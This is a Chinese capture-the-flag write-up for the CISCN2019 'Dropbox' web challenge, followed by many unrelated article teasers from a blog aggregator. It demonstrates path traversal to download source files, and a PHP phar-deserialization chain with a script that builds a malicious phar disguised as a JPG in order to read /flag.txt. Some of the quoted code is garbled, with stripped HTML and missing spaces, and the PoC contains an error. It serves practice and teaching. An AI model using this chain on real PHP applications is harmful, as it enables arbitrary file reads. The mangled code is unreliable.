[BUU/反序列化/Phar] [CISCN2019 华北赛区 Day1 Web1]Dropbox

注册登录，

上传图片，可以下载文件，对文件下载进行抓包，

此处可下载任意文件，

filename=../../index.php

找到class.php

    
class User {
     
    public $db;

	// 触发FileList的__call()
    public function __destruct() {
     
        $this->db->close();
    }
}

class FileList {
     
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
     
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
     
            // 调用File::close(),读文件，将结果保存到results
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
     
        $table = '
';$table.='';foreach($this->funcsas$func){
     $table.='';}$table.='';$table.='';foreach($this->resultsas$filename=>$result){
     $table.='';foreach($resultas$func=>$value){
     // 打印结果$table.='';}$table.='';$table.='';}echo$table;}}classFile{
     public$filename;// 对外部$filename赋值，供外层File::delete()使用publicfunctionopen($filename){
     $this->filename=$filename;if(file_exists($filename)&&!is_dir($filename)){
     returntrue;}else{
     returnfalse;}}publicfunctiondetele(){
     // 可以接收并解析Phar协议流，unlink($this->filename);}}?>
以及delete.php

session_start();
include "class.php";

chdir($_SESSION['sandbox']);
// 创建一个File对象
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
     
    // 删除触发函数
    $file->detele();
}
?>
链子
利用的对象中，有两个File，一个供Phar解析，一个读文件。
关键为解决三个问题，PHAR的解析-close函数的调用-文本的输出。
删除抓包 -> File::delete() -> 解析Phar:// -> FileList::__destruct() [回显results] <- File::close() [$filename=/flag.txt] <- FileList::__call() [File::close()->results] <- User::__destruct() [$this->db=new File()]
生成Phar


class FileList {
     
    private $files;
    public function __construct() {
     
        $this->files = array(new File());
    }
}
    
class User {
     
    public $db;

    public function __construct() {
     
        $this->db = new FileList();
    }
}
    
class File {
     
    public $filename="/flag.txt";
}

@unlink('test.phar');
$phar=new Phar('test.phar');  //创建一个phar对象，文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('');  //写入stub

$o = User();

$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>
上传伪装为jpg格式的phar文件到服务器。
修改删除抓包
观察路由，当前目录即为upload目录。
 
 得到flag

                    

                        
                        

                            
 
                        
                        
                        

                            

                        
                        
                        

                            

                        
                    
                

        
你可能感兴趣的:(凌晨四点起床刷题,Web安全,Phar,反序列化)
        

            

                

                    
归并排序（二叉树的后续遍历思想和数组的双指针技巧）
                        冰火同学
力扣算法排序算法数据结构
                        
这次归并排序就只讲思路了，代码实现放到下次刷题再做首先确认一下归并排序的时间复杂度是NlogN的时间复杂度。实现归并排序的算法，我认为有几个困难需要克服掉1、首先就是要明确归并排序的算法思想，就是二叉数据的后序遍历，就是先从中间分割成两个子数组，然后继续分，直到只剩下一个元素，那么此时就是有序的，这个和构造二叉树时的分解思想十分相似，把子问题全部解决，那问题也就都解决了，至于我们只关注其中一个节点
                    
                    
《颠覆认知，我用大模型+Redis实现SQL智能补全，开发效率暴涨500%》
                        煜bart
mysqlAI编程人工智能redis
                        
一、前言：当SQL补全遇到大模型（插入传统SQL补全工具与ChatGPT对比图）你是否还在为这些场景抓狂？-凌晨3点记不清HiveQL的窗口函数语法-面对新接触的ClickHouse方言不知所措-团队新人总把STR_TO_DATE写成DATE_FORMAT传统IDE的SQL补全就像"人工智障"，直到我把大模型装进Redis…##二、效果展示：智能补全的降维打击（GIF动图展示输入SELECT*FR
                    
                    
Go 语言使用Protobuf 进行序列化详解
                        尘鹄
Go语言学习之路golang开发语言后端rpcgo
                        
文章目录Go语言使用Protobuf进行序列化详解1.Protobuf是什么?2.安装Protobuf及Go依赖3.编写.proto文件4.实现序列化和反序列化Go语言使用Protobuf进行序列化详解1.Protobuf是什么?以下是Protobuf官方中文文档的概述:Protobuf(ProtocolBuffers)是一种语言中立、平台中立的可扩展机制，用于序列化结构化数据。它类似于JSON，
                    
                    
蓝桥杯冲击省一必刷题单(一)
                        小咖拉眯
蓝桥杯蓝桥杯java算法数据结构
                        
此题单为算法基础精选题单，包含蓝桥杯常考考点以及各种经典算法，可以帮助你打牢基础，查漏补缺。本题单目标是冲击蓝桥杯省一国一，团体程序天梯赛个人国三、XCPC区域赛铜/银奖前言本次题单重点关注日期问题，进制转换问题，排序问题，其中日期问题和进制转换问题，几乎是必考题，几乎每年蓝桥杯都能看到，大家需要重点掌握。日期问题：蓝桥杯热门考点，基本每年省赛必考。进制转换问题：与日期一样蓝桥杯热门考点，基本每年
                    
                    
程序员必看！DeepSeek隐藏用法大揭秘：从代码优化到多模态开发，这些技巧让你少熬三夜班
                        
后端
                        
最近在程序员圈子里，有个同事老张的故事特别火。他原本每周要花20小时写接口文档，自从用上DeepSeek的代码补全功能，现在喝着咖啡看AI自动生成Swagger注释——这让我想起刚入行时，为了调通一个正则表达式熬夜到凌晨三点的自己。今天咱们不聊那些官方说明书，就说点真正能让键盘冒火星的实战技巧。藏在代码补全里的"作弊码"很多人以为DeepSeek就是个加强版搜索引擎，其实它对代码的理解远超想象。比
                    
                    
刷题前必学！二叉树！用JavaScript学数据结构与算法
                        

                        
‍JavaScript算法与数据结构-HowieCong务必要熟悉JavaScript使用再来学！一、树是什么？数据结构中的树，对于现实世界中的树简化——树根抽象为“根节点”，树枝抽象为“边”，树枝的两个端点抽象为“结点”，树叶抽象为“叶子结点”计算机中的树如下：二、树的重点树的层次计算规则：根结点所在的那一层为第一层，其子节点为第二层，以此类推结点和树的高度计算规则：叶子结点高度为1，每向上一层
                    
                    
leetcode 贪心算法
                        gufly-
leetcode贪心算法算法
                        
刷题记录以局部最优推出整体最优，且想不到反例，则可以尝试贪心算法455.分发饼干从后向前遍历孩子数组，用大饼干满足胃口大，并统计满足小孩数量classSolution(object):deffindContentChildren(self,g,s):g.sort()s.sort()res=0ind=len(s)-1foriinrange(len(g)-1,-1,-1):ifind>=0ands[i
                    
                    
LeetCode刷题实战522：最长特殊序列 II
                        编程IT圈
字符串算法leetcodejava数据结构
                        
算法的重要性，我就不多说了吧，想去大厂，就必须要经过基础知识和业务逻辑面试+算法面试。所以，为了提高大家的算法能力，这个公众号后续每天带大家做一道算法题，题目就从LeetCode上面选！今天和大家聊的问题叫做最长特殊序列II，我们先来看题面：https://leetcode-cn.com/problems/longest-uncommon-subsequence-ii/Givenanarrayof
                    
                    
LeetCode刷题实战：删除字符串中的所有相邻重复项（栈的经典应用）
                        sprite_雪碧
leetcode算法数据结构
                        
题目描述题目链接：1047.删除字符串中的所有相邻重复项-力扣（LeetCode）给定一个由小写字母组成的字符串s，重复项删除操作会选择两个相邻且相同的字符并删除它们。此操作反复进行，直到无法继续删除。返回最终的字符串。答案保证唯一。输入：s="abbaca"输出："ca"解释：删除"bb"得到"aaca"，再删除"aa"得到"ca"。问题分析与解法思路暴力解法的缺陷最直观的暴力解法是重复扫描字符
                    
                    
力扣hot100二刷——哈希、双指针、滑动窗口
                        钢板兽
手撕算法leetcode哈希算法算法面试
                        
第二次刷题不在idea写代码，而是直接在leetcode网站上写，“逼”自己掌握常用的函数。标志掌握程度解释办法⭐Fully完全掌握看到题目就有思路，编程也很流利⭐⭐Basically基本掌握需要稍作思考，或者看到提示方法后能解答⭐⭐⭐Slightly稍微掌握需要看之前写过的代码才能想起怎么做多做⭐⭐⭐⭐absolutelyno完全没有掌握需要看题解才知道怎么做背⭐⭐⭐⭐⭐有难度的高频题需要看题解
                    
                    
程序员如何用DeepSeek改写代码人生？这些硬核技巧让你效率翻三倍
                        
后端
                        
凌晨三点的深圳华强北依然灯火通明，老王调试着双卡4090服务器上的DeepSeekR1模型，屏幕上跳动的代码像夜空中闪烁的星群。他刚用这个开源神器重构了公司积压三个月的遗留系统，此刻正喝着浓茶感叹——原来AI不是取代程序员，而是让我们从重复劳动中解放出来，去做真正创造性的工作。最近圈子里都在疯传DeepSeek的魔幻操作：微软悄悄把它集成进Copilot当备胎，Meta连夜开会讨论要不要引进，连东
                    
                    
快速从C过度C++（一）：namespace，C++的输入和输出，缺省参数，函数重载
                        愚润泽
C++学习笔记c++开发语言c语言
                        
前言：本文章适合有一定C语言编程基础的读者浏览，主要介绍从C语言到C++过度，我们首先要掌握的一些基础知识，以便于我们快速进入C++的学习，为后面的学习打下基础。这篇文章的主要内容有：1，命名空间namespace2，C++的输入和输出3，缺省参数4，函数重载个人简介：努力学习ing个人专栏：C++学习笔记CSDN主页愚润求学其他专栏：C语言入门基础，python入门基础，python刷题专栏快速
                    
                    
华为机试牛客刷题之HJ60 查找组成一个偶数最接近的两个素数
                        seabirdssss
算法华为算法java
                        
HJ60查找组成一个偶数最接近的两个素数描述对于给定的偶数n，找出两个素数a,b，满足：它们的和等于n；它们的差值的绝对值最小。我们可以证明，a,b一定存在，从小到大输出满足条件的素数对。输入描述：输入一个整数n(4≦n≦10^3)。保证n是偶数。输出描述：第一行输出一个整数a，代表满足条件的素数对中的较小者。第二行输出一个整数b，代表满足条件的素数对中的较大者。示例1输入:20输出:713示例2
                    
                    
程序员效率革命：DeepSeek深度使用手册与实战技巧全揭秘
                        
后端
                        
最近在技术社区里总能看到DeepSeek的身影，让我想起去年那个加班到凌晨三点的项目——当时为了调试分布式系统中的异步任务，整个团队在会议室里对着满墙的报错日志抓耳挠腮。直到后端老张突然掏出DeepSeek的实时监控模块，那些原本像天书一样的日志突然就变得脉络清晰起来。今天的程序员工具箱里，这个来自中国的AI开发平台正在掀起一场静悄悄的效率革命。刚接触DeepSeek时，我和很多同行一样，以为它就
                    
                    
程序员如何用DeepSeek提升开发效率？这些隐藏技巧让你少走弯路
                        
后端
                        
昨天凌晨三点，我盯着屏幕上死活调不通的接口文档，咖啡杯在桌角堆成金字塔。就在即将砸键盘的前一刻，突然想起同事老王推荐的DeepSeek。没想到这个看似普通的工具，竟让我半小时就定位到了跨域请求的配置错误。看着窗外泛起鱼肚白的天际线，突然意识到——程序员与Bug的战争，可能就差一个好工具的距离。很多新手容易把DeepSeek当作高级版搜索引擎，其实它的代码理解能力堪比资深架构师。上周帮实习生小张排查
                    
                    
华为OD面经 - 二战失利C++视觉算法
                        
华为题库c++cjava
                        
24届河南大学本，计算机科学与技术专业。因为考研没有成功，毕业后一直在家准备二战，二战再次失利，gap半年后决定找工作，找了一些国企和私企的面试机会，但一直没有找到满意的offer。经过朋友推荐，决定尝试华为OD的岗位。由于本科期间有做过一些C++相关的项目和开源贡献，投递了C++视觉算法岗位。机考准备：因为考研期间的刷题基础还在，所以准备机考并没有花太多时间。主要集中在数据结构和算法题目上，尤其
                    
                    
第十一届蓝桥杯总结（广东省赛区一等奖、全国总决赛二等奖）
                        可乐学算法
思考-总结-感悟蓝桥杯ACM算法
                        
  其实这本来是上半年的比赛，由于疫情就拖到了下半年，一共本来有四五场比赛的，好多都参加不了，就只剩下了蓝桥杯和天梯赛，今年真的太难了，一个疫情打乱了好多计划。本来是抱着拿javab组国特去的，无奈最后拿了个国二，省赛发挥得不好，但省一的排名还是比较前，国赛感觉发挥一般般，没想到拿了个国二。  接下来说下备赛，大四的时候基本没怎么备赛，不过还是经常上leetcode刷题，刷那些经典算法的题目，比如
                    
                    
蓝桥杯刷题周计划（第二周）
                        EnigmaCoder
蓝桥杯刷题周计划蓝桥杯算法学习
                        
目录前言题目一题目代码题解分析题目二题目代码题解分析题目三题目代码题解分析题目四题目代码题解分析题目五题目代码题解分析题目六题目代码题解分析题目七题目代码题解分析题目八题目题解分析题目九题目代码题解分析题目十题目代码题解分析题目十一题目代码题解分析题目十二题目代码题解分析题目十三题目代码题解分析题目十四题目代码题解分析题目十五题目代码题解分析题目十六题目代码题解分析题目十七题目代码题解分析题目十八
                    
                    
LeetCode Hot100刷题——反转链表（迭代+递归）
                        圈圈编码
leetcode链表算法
                        
206.反转链表给你单链表的头节点head，请你反转链表，并返回反转后的链表。示例1：输入：head=[1,2,3,4,5]输出：[5,4,3,2,1]示例2：输入：head=[1,2]输出：[2,1]示例3：输入：head=[]输出：[]提示：链表中节点的数目范围是[0,5000]-50002->3->4->5->null，反转后变成null<-1<-2<-3<-4<-5。那在迭代的时候，初始状
                    
                    
请谈谈 HTTP 中的安全策略，如何防范常见的Web攻击（如XSS、CSRF）？
                        程序员黄同学
node.js前端开发JavaScript前端httpxss
                        
一、Web安全核心防御机制（一）XSS攻击防御（跨站脚本攻击）1.原理与分类存储型XSS：恶意脚本被持久化存储在服务端（如数据库）反射型XSS：脚本通过URL参数或表单提交触发执行DOM型XSS：通过修改DOM节点动态插入脚本2.防御方案//Express中间件：全局XSS防护constxss=require('xss');app.use((req,res,next)=>{//对所有请求参数进行过
                    
                    
Web安全——node.js原型链污染
                        @Camelus
渗透与攻防node.js原型模式javascriptweb安全网络安全
                        
目录（一）成因0x01前置知识0x02漏洞分析（二）产生条件0x01检查漏洞0x02常见的危险函数（一）成因0x01前置知识js是由对象组成的，对象与对象之间存在着继承关系。每个对象都有一个指向它的原型的内部链接，而这个原型对象又有他自己的原型，直到null为止整体看来就是多个对象层层继承，实例对象的原型链接形成了一条链，也就是js的原型链。在js中每个函数都有一个prototype属性，而每个对
                    
                    
LeetCode刷题之python解法（持续更新）
                        gong_wanyi
Python
                        
1.TwoSum4行classSolution:deftwoSum(self,nums:List[int],target:int)->List[int]:d={}fori,ninenumerate(nums):ifnind:return[d[n],i]d[target-n]=iO(N)时间效率的快速解法，用字典记录｛需要的值:当前索引｝2.AddTwoNumbers5行#Definitionfor
                    
                    
一起刷C语言菜鸟教程100题（15-26含解析）
                        Re.不晚
C语言菜鸟教程的一些题目讲解算法c语言c++开发语言c#
                        
五一过的好快，五天假期说没就没，因为一些事情耽搁到现在，不过还是要继续学习的，之后就照常更新，先说一下，这个100题是菜鸟教程里面的，但是有一些题，我加入了自己的理解，甚至对有一些题进行了改编，目的是让大家更顺手一点，链接放在下面，需要的小伙伴可以点进去看看，话不多说，开始刷题。C语言经典100例|菜鸟教程(runoob.com)使用方法：1.先看题目自己想思路，自己做2.自己做不出来看解题思路，
                    
                    
今天这道题看了好久的题解，才理解意思，看来有的时候刷题也要积累一些知识。
                        suohanfjiusbis
pythonleetcode算法
                        
classSolution:defgameOfLife(self,board:List[List[int]])->None:"""Donotreturnanything,modifyboardin-placeinstead."""importnumpyasnpr,c=len(board),len(board[0])board_exp=np.array([[0for_inrange(c+2)]for
                    
                    
python刷题:哥德巴赫猜想
                        小赵睡不醒：
pythonpython算法开发语言
                        
Description哥德巴赫猜想：对于任一个大于或等于4的偶数n，至少存在一对素数p1和p2,使得n＝p1+p2。这个猜想目前既没有被证明，也没有被否定。没有人确定这个猜想是否成立。但是，如果对于给定的一个偶数，存在这样一对素数的话，人们是可以找到的。我们的要求是编写一个程序，对于给定的一个偶数，计算出存在多少对素数满足这个猜想。在输入中给出一系列偶数。对于每一个数，程序输出存在的素数对数。注意
                    
                    
华为OD机试 - 幸运数字（Java 2024 E卷 100分）
                        哪 吒
华为odjava开发语言
                        
华为OD机试2024E卷题库疯狂收录中，刷题点这里专栏导读本专栏收录于《华为OD机试（JAVA）真题（E卷+D卷+A卷+B卷+C卷）》。刷的越多，抽中的概率越大，私信哪吒，备注华为OD，加入华为OD刷题交流群，每一题都有详细的答题思路、详细的代码注释、3个测试用例、为什么这道题采用XX算法、XX算法的适用场景，发现新题目，随时更新，全天CSDN在线答疑。一、题目描述有位客人来自异国，在该国使用m进
                    
                    
当深度学习遇见禅宗：用东方智慧重新诠释DQN算法
                        带上一无所知的我
智能体的自我修炼：强化学习指南深度学习算法人工智能DQN
                        
当深度学习遇见禅宗：用东方智慧重新诠释DQN算法“好的代码如同山水画，既要工笔细描，又要留白写意”——一个在终端前顿悟的开发者DQN是Q-Learning算法与深度神经网络的结合体，通过神经网络近似Q值函数，解决传统Q-Learning在高维状态空间下的"维度灾难"问题。引言：代码与禅的碰撞♂️在某个调试代码到凌晨三点的夜晚，我突然意识到：强化学习的过程，竟与佛家修行惊人地相似。智能体在环境中探索
                    
                    
打卡信奥刷题（920）用C++信奥P1076[普及组/提高] [NOIP 2012 普及组] 寻宝
                        Loge编程生活
C++c++算法开发语言青少年编程数据结构
                        
P1076[NOIP2012普及组]寻宝题目描述传说很遥远的藏宝楼顶层藏着诱人的宝藏。小明历尽千辛万苦终于找到传说中的这个藏宝楼，藏宝楼的门口竖着一个木板，上面写有几个大字：寻宝说明书。说明书的内容如下：藏宝楼共有N+1N+1N+1层，最上面一层是顶层，顶层有一个房间里面藏着宝藏。除了顶层外，藏宝楼另有NNN层，每层MMM个房间，这MMM个房间围成一圈并按逆时针方向依次编号为0,…,M−10,…,
                    
                    
Manus：一场颠覆认知的AI Agent革命，重新定义人机协作范式
                        大禹智库
《实战AI智能体》人工智能RAGAI智能体Manus智能体
                        
一、凌晨三点引爆科技圈：AIAgent的"iPhone时刻"降临2024年3月6日，当全球目光聚焦苹果新品发布会时，科技圈却因另一场革命彻夜未眠——Monica.im团队打造的AIAgent产品Manus以摧枯拉朽之势席卷社交平台。在硅谷VC机构的Slack群组里，投资人争相分享邀请码获取攻略；知乎"如何看待Manus"话题1小时内突破百万浏览；推特#ManusRevolution标签下，科技大V
                    
                    
10.1go常用包json
                        chxii
go语言基础golangjson开发语言
                        
序列化（Marshal）：将Go的数据结构转换为JSON字符串。反序列化（Unmarshal）：将JSON字符串转换为Go的数据结构。使用json.Marshal进行序列化json.Marshal函数可以将Go的数据结构转换为JSON格式的字节切片（[]byte）packagemainimport("encoding/json""fmt""log")//定义一个结构体typePersonstruc
                    
                                
Java 并发包之线程池和原子计数
                                    lijingyao8206
Java计数ThreadPool并发包java线程池
                                    
对于大数据量关联的业务处理逻辑，比较直接的想法就是用JDK提供的并发包去解决多线程情况下的业务数据处理。线程池可以提供很好的管理线程的方式，并且可以提高线程利用率，并发包中的原子计数在多线程的情况下可以让我们避免去写一些同步代码。 
    这里就先把jdk并发包中的线程池处理器ThreadPoolExecutor 以原子计数类AomicInteger 和倒数计时锁C
                                
                                
java编程思想 抽象类和接口
                                    百合不是茶
java抽象类接口
                                    
接口c++对接口和内部类只有简介的支持,但在java中有队这些类的直接支持 
  
1 ,抽象类 :  如果一个类包含一个或多个抽象方法,该类必须限定为抽象类(否者编译器报错) 
  
抽象方法 : 在方法中仅有声明而没有方法体  
  
 
package com.wj.Interface;


                                
                                
[房地产与大数据]房地产数据挖掘系统
                                    comsci
数据挖掘
                                    
 
       随着一个关键核心技术的突破,我们已经是独立自主的开发某些先进模块,但是要完全实现,还需要一定的时间... 
 
       所以,除了代码工作以外,我们还需要关心一下非技术领域的事件..比如说房地产 
 
    &nb
                                
                                
数组队列总结
                                    沐刃青蛟
数组队列
                                    
  
    数组队列是一种大小可以改变，类型没有定死的类似数组的工具。不过与数组相比，它更具有灵活性。因为它不但不用担心越界问题，而且因为泛型（类似c++中模板的东西）的存在而支持各种类型。 
  
   以下是数组队列的功能实现代码： 
  
import List.Student;

public class
                                
                                
Oracle存储过程无法编译的解决方法
                                    IT独行者
oracle存储过程　
                                    
今天同事修改Oracle存储过程又导致2个过程无法被编译，流程规范上的东西，Dave 这里不多说，看看怎么解决问题。 
   


1.     查看无效对象  
XEZF@xezf(qs-xezf-db1)> select object_name,object_type,status from all_objects where status='IN
                                
                                
重装系统之后oracle恢复
                                    文强chu
oracle
                                    
前几天正在使用电脑，没有暂停oracle的各种服务。 
突然win8.1系统奔溃，无法修复，开机时系统 提示正在搜集错误信息，然后再开机，再提示的无限循环中。 
无耐我拿出系统u盘 准备重装系统，没想到竟然无法从u盘引导成功。 
晚上到外面早了一家修电脑店，让人家给装了个系统，并且那哥们在我没反应过来的时候， 
直接把我的c盘给格式化了 并且清理了注册表，再装系统。 
然后的结果就是我的oracl
                                
                                
python学习二（ 一些基础语法）
                                    小桔子
pthon基础语法
                                    
紧接着把！昨天没看继续看django 官方教程，学了下python的基本语法 与c类语言还是有些小差别： 
1.ptyhon的源文件以UTF-8编码格式 
2. 
 /   除 结果浮点型 
 //  除 结果整形 
 %   除 取余数 
 *   乘 
 **  乘方 eg 5**2 结果是5的2次方25 
 _&
                                
                                
svn 常用命令
                                    aichenglong
SVN版本回退
                                    
1 svn回退版本 
  1)在window中选择log,根据想要回退的内容,选择revert this version或revert chanages from this version 
 两者的区别: 
  revert this version:表示回退到当前版本(该版本后的版本全部作废) 
  revert chanages from this versio
                                
                                
某小公司面试归来
                                    alafqq
面试
                                    
先填单子，还要写笔试题，我以时间为急，拒绝了它。。时间宝贵。 
老拿这些对付毕业生的东东来吓唬我。。 
 
面试官很刁难，问了几个问题，记录下； 
 
1，包的范围。。。public,private,protect. --悲剧了 
2，hashcode方法和equals方法的区别。谁覆盖谁.结果，他说我说反了。 
3，最恶心的一道题，抽象类继承抽象类吗？（察，一般它都是被继承的啊） 
4，stru
                                
                                
动态数组的存储速度比较 集合框架
                                    百合不是茶
集合框架
                                    
集合框架： 
自定义数据结构(增删改查等) 
package 数组;

/**
 * 创建动态数组
 * @author 百合
 *
 */

public class ArrayDemo{
	
	//定义一个数组来存放数据
	
	String[] src = new String[0];
	
	/**
	 * 增加元素加入容器 
	 * @param s要加入容器
                                
                                
用JS实现一个JS对象，对象里有两个属性一个方法
                                    bijian1013
js对象
                                    
<html> 
  <head> 
  </head> 
  <body> 
    用js代码实现一个js对象，对象里有两个属性，一个方法 
  </body> 
  <script> 
        var obj={a:'1234567',b:'bbbbbbbbbb',c:function(x){ 
 
                                
                                
探索JUnit4扩展：使用Rule
                                    bijian1013
java单元测试JUnitRule
                                    
        在上一篇文章中，讨论了使用Runner扩展JUnit4的方式，即直接修改Test Runner的实现(BlockJUnit4ClassRunner)。但这种方法显然不便于灵活地添加或删除扩展功能。下面将使用JUnit4.7才开始引入的扩展方式——Rule来实现相同的扩展功能。 
1. Rule 
      &n
                                
                                
[Gson一]非泛型POJO对象的反序列化
                                    bit1129
POJO
                                    
当要将JSON数据串反序列化自身为非泛型的POJO时，使用Gson.fromJson(String, Class)方法。自身为非泛型的POJO的包括两种： 
1. POJO对象不包含任何泛型的字段 
2. POJO对象包含泛型字段，例如泛型集合或者泛型类 
 Data类 a.不是泛型类， b.Data中的集合List和Map都是泛型的 c.Data中不包含其它的POJO   
 
                                
                                
【Kakfa五】Kafka Producer和Consumer基本使用
                                    bit1129
kafka
                                    
0.Kafka服务器的配置 
一个Broker， 
一个Topic 
Topic中只有一个Partition（）   1. Producer： 
package kafka.examples.producers;


import kafka.producer.KeyedMessage;
import kafka.javaapi.producer.Producer;
impor
                                
                                
lsyncd实时同步搭建指南——取代rsync+inotify
                                    ronin47

                                    
1. 几大实时同步工具比较 1.1 inotify + rsync 
最近一直在寻求生产服务服务器上的同步替代方案，原先使用的是 inotify + rsync，但随着文件数量的增大到100W+，目录下的文件列表就达20M，在网络状况不佳或者限速的情况下，变更的文件可能10来个才几M，却因此要发送的文件列表就达20M，严重减低的带宽的使用效率以及同步效率；更为要紧的是，加入inotify
                                
                                
java-9. 判断整数序列是不是二元查找树的后序遍历结果
                                    bylijinnan
java
                                    


public class IsBinTreePostTraverse{
	
	static boolean isBSTPostOrder(int[] a){
		if(a==null){
			return false;
		}
		/*1.只有一个结点时，肯定是查找树
		 *2.只有两个结点时，肯定是查找树。例如{5,6}对应的BST是   6		{6,5}对应的BST是
                                
                                
MySQL的sum函数返回的类型
                                    bylijinnan
javaspringsqlmysqljdbc
                                    
今天项目切换数据库时，出错 
 
访问数据库的代码大概是这样： 
 

String sql =  "select sum(number) as sumNumberOfOneDay from tableName";
List<Map> rows = getJdbcTemplate().queryForList(sql);
for (Map row : rows
                                
                                
java设计模式之单例模式
                                    chicony
java设计模式
                                    
  
在阎宏博士的《JAVA与模式》一书中开头是这样描述单例模式的： 
　　作为对象的创建模式，单例模式确保某一个类只有一个实例，而且自行实例化并向整个系统提供这个实例。这个类称为单例类。  单例模式的结构
  
　　单例模式的特点： 
 
 单例类只能有一个实例。 
 单例类必须自己创建自己的唯一实例。 
 单例类必须给所有其他对象提供这一实例。 
 　　饿汉式单例类 
  
publ
                                
                                
javascript取当月最后一天
                                    ctrain
JavaScript
                                    

<!--javascript取当月最后一天-->
<script   language=javascript>  
  var current = new Date();
  var year = current.getYear();
  var month = current.getMonth();
  showMonthLastDay(year, mont
                                
                                
linux tune2fs命令详解
                                    daizj
linuxtune2fs查看系统文件块信息
                                    
一.简介： 
tune2fs是调整和查看ext2/ext3文件系统的文件系统参数，Windows下面如果出现意外断电死机情况，下次开机一般都会出现系统自检。Linux系统下面也有文件系统自检，而且是可以通过tune2fs命令，自行定义自检周期及方式。 
二.用法： 
Usage: tune2fs [-c max_mounts_count] [-e errors_behavior] [-g grou
                                
                                
做有中国特色的程序员
                                    dcj3sjt126com
程序员
                                    
  
从出版业说起  网络作品排到靠前的，都不会太难看，一般人不爱看某部作品也是因为不喜欢这个类型，而此人也不会全不喜欢这些网络作品。究其原因，是因为网络作品都是让人先白看的，看的好了才出了头。而纸质作品就不一定了，排行榜靠前的，有好作品，也有垃圾。   许多大牛都是写了博客，后来出了书。这些书也都不次，可能有人让为不好，是因为技术书不像小说，小说在读故事，技术书是在学知识或温习知识，有
                                
                                
Android：TextView属性大全
                                    dcj3sjt126com
textview
                                    
android:autoLink    设置是否当文本为URL链接/email/电话号码/map时，文本显示为可点击的链接。可选值(none/web/email/phone/map/all)  android:autoText    如果设置，将自动执行输入值的拼写纠正。此处无效果，在显示输入法并输
                                
                                
tomcat虚拟目录安装及其配置
                                    eksliang
tomcat配置说明tomca部署web应用tomcat虚拟目录安装
                                    
转载请出自出处：http://eksliang.iteye.com/blog/2097184 
1.-------------------------------------------tomcat  目录结构 
 
 config：存放tomcat的配置文件 
 temp  ：存放tomcat跑起来后存放临时文件用的 
 work   ： 当第一次访问应用中的jsp
                                
                                
浅谈：APP有哪些常被黑客利用的安全漏洞
                                    gg163
APP
                                    
首先，说到APP的安全漏洞，身为程序猿的大家应该不陌生；如果抛开安卓自身开源的问题的话，其主要产生的原因就是开发过程中疏忽或者代码不严谨引起的。但这些责任也不能怪在程序猿头上，有时会因为BOSS时间催得紧等很多可观原因。由国内移动应用安全检测团队爱内测（ineice.com）的CTO给我们浅谈关于Android 系统的开源设计以及生态环境。 
1. 应用反编译漏洞：APK 包非常容易被反编译成可读
                                
                                
C#根据网址生成静态页面
                                    hvt
Web.netC#asp.nethovertree
                                    
HoverTree开源项目中HoverTreeWeb.HVTPanel的Index.aspx文件是后台管理的首页。包含生成留言板首页，以及显示用户名，退出等功能。根据网址生成页面的方法： 
  
bool CreateHtmlFile(string url, string path)
{ 
//http://keleyi.com/a/bjae/3d10wfax.htm

stri
                                
                                
SVG 教程 （一）
                                    天梯梦
svg
                                    
SVG 简介   
SVG 是使用 XML 来描述二维图形和绘图程序的语言。  学习之前应具备的基础知识： 
继续学习之前，你应该对以下内容有基本的了解： 
 
 HTML 
 XML 基础 
 
如果希望首先学习这些内容，请在本站的首页选择相应的教程。  什么是SVG？ 
 
 SVG 指可伸缩矢量图形 (Scalable Vector Graphics) 
 SVG 用来定义用于网络的基于矢量
                                
                                
一个简单的java栈
                                    luyulong
java数据结构栈
                                    

public class MyStack {
	private long[] arr;

	private int top;

	public MyStack() {
		arr = new long[10];
		top = -1;
	}

	public MyStack(int maxsize) {
		arr = new long[maxsize];
		top 
                                
                                
基础数据结构和算法八：Binary search
                                    sunwinner
AlgorithmBinary search
                                    
Binary search needs an ordered array so that it can use array indexing to dramatically reduce the number of compares required for each search, using the classic and venerable binary search algori
                                
                                
12个C语言面试题，涉及指针、进程、运算、结构体、函数、内存，看看你能做出几个！
                                    刘星宇
c面试
                                    
12个C语言面试题，涉及指针、进程、运算、结构体、函数、内存，看看你能做出几个！ 
1.gets()函数 
问：请找出下面代码里的问题： 
#include<stdio.h> 
int main(void) 
{ 
    char buff[10]; 
    memset(buff,0,sizeof(buff)); 
 

                                
                                
ITeye 7月技术图书有奖试读获奖名单公布
                                    ITeye管理员
活动ITeye试读
                                    
ITeye携手人民邮电出版社图灵教育共同举办的7月技术图书有奖试读活动已圆满结束，非常感谢广大用户对本次活动的关注与参与。 
 
 
7月试读活动回顾： 
http://webmaster.iteye.com/blog/2092746 
 
 
本次技术图书试读活动的优秀奖获奖名单及相应作品如下（优秀文章有很多，但名额有限，没获奖并不代表不优秀）： 
 
 
《Java性能优化权威指南》 
 
 
                                
                
            
        
    

    

        

            按字母分类：
            ABCDEFGHIJKLMNOPQRSTUVWXYZ其他
        
    

    

        

            首页 -
            关于我们 -
            站内搜索 -
            Sitemap -
            侵权投诉
        
        
版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.

        
    

          

            
              
' . htmlentities($func) . '
        
          
Opt
          

              
              

                  
                
                  
' . htmlentities($value) . '
            
              
. htmlentities($filename) . '">下载 / 删除